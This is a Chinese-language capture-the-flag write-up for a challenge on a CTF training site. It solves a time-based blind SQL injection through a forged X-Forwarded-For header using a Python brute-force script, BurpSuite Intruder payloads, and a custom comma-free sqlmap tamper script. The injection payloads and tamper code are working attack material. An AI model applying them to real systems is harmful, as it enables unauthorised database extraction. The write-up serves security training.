實驗吧CTF-Who are you?
Who are you
題目:
我要把攻擊我的人都記錄db中去!
格式ctf{}
解題:
訪問連結,頁面顯示your IP is XX.XX.XX.XX
,知道這是一個關於IP偽造。
嘗試各種偽造IP的HTTP頭:
X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr
發現X-Forwarded-For可以偽造。
sp160830_162630.png
題目說:
我要把攻擊我的人都記錄db中去!
可以猜測這是一個INSERT INTO的注入。
嘗試各種注入,發現注入的語句給原封不動地顯示在頁面中,但,如果注入的語句有逗號,則後面的內容就不會顯示在頁面中。
sp160830_162812.png
所以,猜測逗號後面的內容給截掉了。
入了一個坑,導致想不到怎麼注入:
一直覺得後臺程式的邏輯是這樣的:取X-Forwarded-For的內容,去掉逗號後的內容,再拼接INSERT INTO的SQL語句,寫到資料庫中,再用SELECT語句從資料庫取出(那程式怎麼確定現在取回的值就是剛剛插入的值呢?顯然這不能保證。),顯示在頁面中。
入了這個坑,就覺得注入的語句沒有逃脫單引號的包圍,注入的X-Forwarded-For內容被原封不動地寫進了資料庫中。
看了Writeup之後才知道這是time-based盲注。
所以想後臺程式的邏輯差不多是這樣:取X-Forwarded-For的值,去掉逗號後的內容,剩下的存在一個變數裡,假設變數名是tmp,然後再拼接到INSERT INTO語句中,執行SQL語句。最後再把tmp的內容顯示在頁面中。
後臺程式碼可能是這樣:
<?php
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="root";
$pass="root" ;
$db="sangebaimao";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
?>
所以這不能利用真值注入,報錯注入等,只能嘗試基於時間的注入。
入了坑,要懂得跳出來。 當設想的程式邏輯跟試驗結果不符合,就要嘗試另外的設想、思路。
做這道題,用三種方法:
用Python指令碼跑。
利用BurpSuite進行基於時間的盲注。
自己寫tamper來使用sqlmap繞過 服務端對逗號的過濾 進行time-based注入(修改queries.xml這個方法不行)
0x01 用Python指令碼跑
事先確定了flag儲存在flag表的flag字元裡,且flag的長度為32,
一個簡陋的指令碼:
#-*-coding:utf-8-*-
import requests
import string
url="http://xxx"
guess=string.lowercase + string.uppercase + string.digits
flag=""
for i in range(1,33):
for str in guess:
headers={"x-forwarded-for":"xx'+"+"(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(5) else 1 end ) and '1'='1" %(i,str)}
try:
res=requests.get(url,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout, e:
flag = flag + str
print "flag:", flag
break
print 'result:' + flag
0x02 利用BurpSuite進行基於時間的盲注
下面是幾個要點:
1.設定代理
每次開BurpSuite這個工具都要設定代理,這是很麻煩的。通常使用瀏覽器的設定選項設定代理會比較方便點。
如在Chrome瀏覽器設定代理:
sp160830_162927.png
更方便的方法是,使用外掛。如在Chrome瀏覽器中使用SwitchyOmega外掛來切換代理。這裡就不說SwitchyOmega的使用了。
2.BurpSuite如何判斷是否超時
首先有個問題,我們如何在BurpSuite得知後臺因為SQL的執行而有延遲產生。這需要一點設定。
Options->Connections->Tiimeouts->Normal這一空 改成你想要的超時時間(預設為120秒)。
sp160830_163055.png
在進行Intruder攻擊時,如果連線超時,則狀態碼和length一欄為空。由此可以判斷連線是否超時。
需要注意的是:在開始Intruder攻擊前,需要把Intruder->Options->Request Engine->Number of threads的執行緒數改成1,否則將導致前一個請求的延時造成後一個請求延時,這就使判斷不正確了。
3.使用BurpSuite進行HTTP頭注入需要注意什麼
- 在Proxy->Intercept->Raw修改資料包內容時:當這個請求沒有POST引數,要求最後空兩行,否則資料包將傳送不成功;當這個請求有POST引數,要求headers與POST引數之間空一行。
sp160830_163341.png
建議在Proxy->Intercept->headers一欄裡修改請求包的Headers。
- 在開始Intruder攻擊前,Intruder->Payloads->Payload Encoding的URL-encode these characters的勾要去掉,即不讓BurpSuite對payload進行URL編碼。
4.BurpSuite Intruder的Attack Type
本次time-based注入需要選擇Cluster bome這個Attack Type
下面是具體的攻擊步驟:
先設定Burpsuite的Timeout為4秒:
sp160830_163055.png
抓取資料包,併發送到Repeater。
事先驗證flag記錄的長度,用以下語句來注入:
1' and (select case when (select length(flag) from flag limit 1)=32 then sleep(5) else 1 end) and '1'='1
sp160830_164924.png
當點選Repeter的Go按鈕,等待了約五秒,Go按鈕從不可按狀態轉為可按狀態,cancel按鈕從可按狀態轉為不可按狀態,Reponse沒有任何返回,且Burpsuite 的Alerts模組裡新增一個Timeout的提示。就表明後臺延時了5秒。
這就可以確定其長度為32了。
把資料包傳送到Intruder。
構造注入語句:
1' and (select case when (select ord(substring(flag from 1 for 1)) from flag limit 1) = 2 then sleep(5) else 1 end) and '1'='1
其中,表名flag和欄位名flag存在可以由以下注入語句來確認:
1' and exists(select flag from flag) and sleep(5) and '1' = '1
在兩處位置add $,並設定Attack Type為Cluster bomb:
sp160830_164225.png
設定Payload1:
sp160830_165854.png
設定Payload2:
sp160830_170045.png
把Payload1和Payload2的URL-encode取消掉:
sp160830_170318.png
設定執行緒數為1:
sp160830_170129.png
萬事具備,開始攻擊。Inturder->Start Attack
sp160830_170706.png
像這些,Status一欄跟Length一欄為空的請求就是超時的。
利用這些就可以得到flag的ASCII值,再轉碼就得到flag!
0x03 使用sqlmap繞過 服務端對逗號的過濾
1.使用sqlmap進行HTTP頭注入
首先,得知道怎麼用sqlmap進行HTTP頭注入。
方法:
利用-r 引數指定儲存著資料包的檔案,並用*號來告訴sqlmap哪裡是注入點。
這道題的資料包內容是:
GET /web/wonderkun/index.php HTTP/1.1
Host: ctf5.shiyanbar.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
X-Forwarded-For: 1*
Referer: http://www.shiyanbar.com/ctf/1941
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
另外,User-Agent、Cookie、Referer的值中可能有*號,這會讓sqlmap去測試這些我們不需要測試的地方,這時,可以使用--skip
SKIP
引數來指示哪裡不需要被測試,如:
--skip="user-agent,referer"
2.嘗試修改queries檔案(不可行)
檔案是在sqlmap/xml
目錄下的queries.xml
可以說這個檔案儲存著sqlmap構造SQL語句的模板,其部分內容如下:
<root>
<!-- MySQL -->
<dbms value="MySQL">
<cast query="CAST(%s AS CHAR)"/>
<length query="CHAR_LENGTH(%s)"/>
<isnull query="IFNULL(%s,' ')"/>
<delimiter query=","/>
<limit query="LIMIT %d,%d"/>
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
<limitgroupstart query="1"/>
<limitgroupstop query="2"/>
<limitstring query=" LIMIT "/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<comment query="-- " query2="/*" query3="#"/>
<substring query="MID((%s),%d,%d)"/>
<concatenate query="CONCAT(%s,%s)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<hex query="HEX(%s)"/>
<inference query="ORD(MID((%s),%d,1))>%d"/>
<banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/>
<hostname query="@@HOSTNAME"/>
...
我們可以修改<isnull query="IFNULL(%s,' ')"/>
一項為<isnull
query="(SELECT %s)">
,這就避免了使用逗號,還有<inference query="ORD(MID((%s),%d,1))>%d"/>
可以改為<inference
query="ORD(MID((%s) from %d for 1))>%d"/>
,諸如此,等等。
不過,為什麼這個方法繞不過伺服器對逗號的過濾呢?因為sqlmap要使用IF函式,這個函式中有逗號,而且,queries檔案裡不可以針對IF函式來修改。
3.自己寫tamper
參考下sqlmap/tamper/目錄下的檔案,就可以自己寫出簡單的tamper。
寫tamper的思路也很簡單:把sqlmap會用到逗號的語句用其他不含有逗號的語句替代。
自己寫了一個很簡陋的tamper,名為commalessmysql.py,放在sqlmap/tamper目錄下。(這個指令碼只適用MySQL):
#!/usr/bin/env python
"""
Writed by Ovie 2016-12-05
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces some instances with something whthout comma
Requirement:
* MySQL
Tested against:
* MySQL 5.0
>>> tamper('ISNULL(TIMESTAMPADD(MINUTE,7061,NULL))')
'ISNULL(NULL)'
>>> tamper('MID(VERSION(), 2, 1)')
'MID(VERSION() FROM 2 FOR 1)'
>>> tamper('IF(26=26,0,5)')
'CASE WHEN 26=26 THEN 0 ELSE 5 END'
>>> tamper('IFNULL(NULL,0x20)')
'CASE WHEN NULL=NULL THEN 0x20 ELSE NULL END'
>>> tamper('LIMIT 2, 3')
'LIMIT 3 OFFSET 2'
"""
def commalessif(payload):
if payload and payload.find("IF") > -1:
while payload.find("IF(") > -1:
index = payload.find("IF(")
depth = 1
comma1, comma2, end = None, None, None
for i in xrange(index + len("IF("), len(payload)):
if depth == 1 and payload[i] == ',' and not comma1:
comma1 = i
elif depth == 1 and payload[i] == ',' and comma1:
comma2 = i
elif depth == 1 and payload[i] == ')':
end = i
break
elif payload[i] == '(':
depth += 1
elif payload[i] == ')':
depth -= 1
if comma1 and comma2 and end:
_ = payload[index + len("IF("):comma1]
__ = payload[comma1 + 1:comma2]
___ = payload[comma2 + 1:end]
newVal = "CASE WHEN %s THEN %s ELSE %s END" % (_, __, ___)
payload = payload[:index] + newVal + payload[end + 1:]
else:
break
return payload
def commalessifnull(payload):
if payload and payload.find("IFNULL") > -1:
while payload.find("IFNULL(") > -1:
index = payload.find("IFNULL(")
depth = 1
comma, end = None, None
for i in xrange(index + len("IFNULL("), len(payload)):
if depth == 1 and payload[i] == ',':
comma = i
elif depth == 1 and payload[i] == ')':
end = i
break
elif payload[i] == '(':
depth += 1
elif payload[i] == ')':
depth -= 1
if comma and end:
_ = payload[index + len("IFNULL("):comma]
__ = payload[comma + 1:end].lstrip()
newVal = "CASE WHEN %s=NULL THEN %s ELSE %s END" % (_, __, _)
payload = payload[:index] + newVal + payload[end + 1:]
else:
break
return payload
retVal = payload
if payload:
retVal = re.sub(r'(?i)TIMESTAMPADD\(\w+,\d+,NULL\)', 'NULL', retVal)
retVal = re.sub(r'(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)', 'MID(\g<1> FROM \g<2> FOR \g<3>)', retVal)
retVal = commalessif(retVal)
retVal = commalessifnull(retVal)
retVal = re.sub(r'(?i)LIMIT\s*(\d+),\s*(\d+)', 'LIMIT \g<2> OFFSET \g<1>', retVal)
return retVal
執行sqlmap:
sqlmap.py -r post.txt --level=3 --skip="user-agent,referer" -v 3 --tamper=commalessmysql -D web4 -T flag -C flag --dump
得到flag。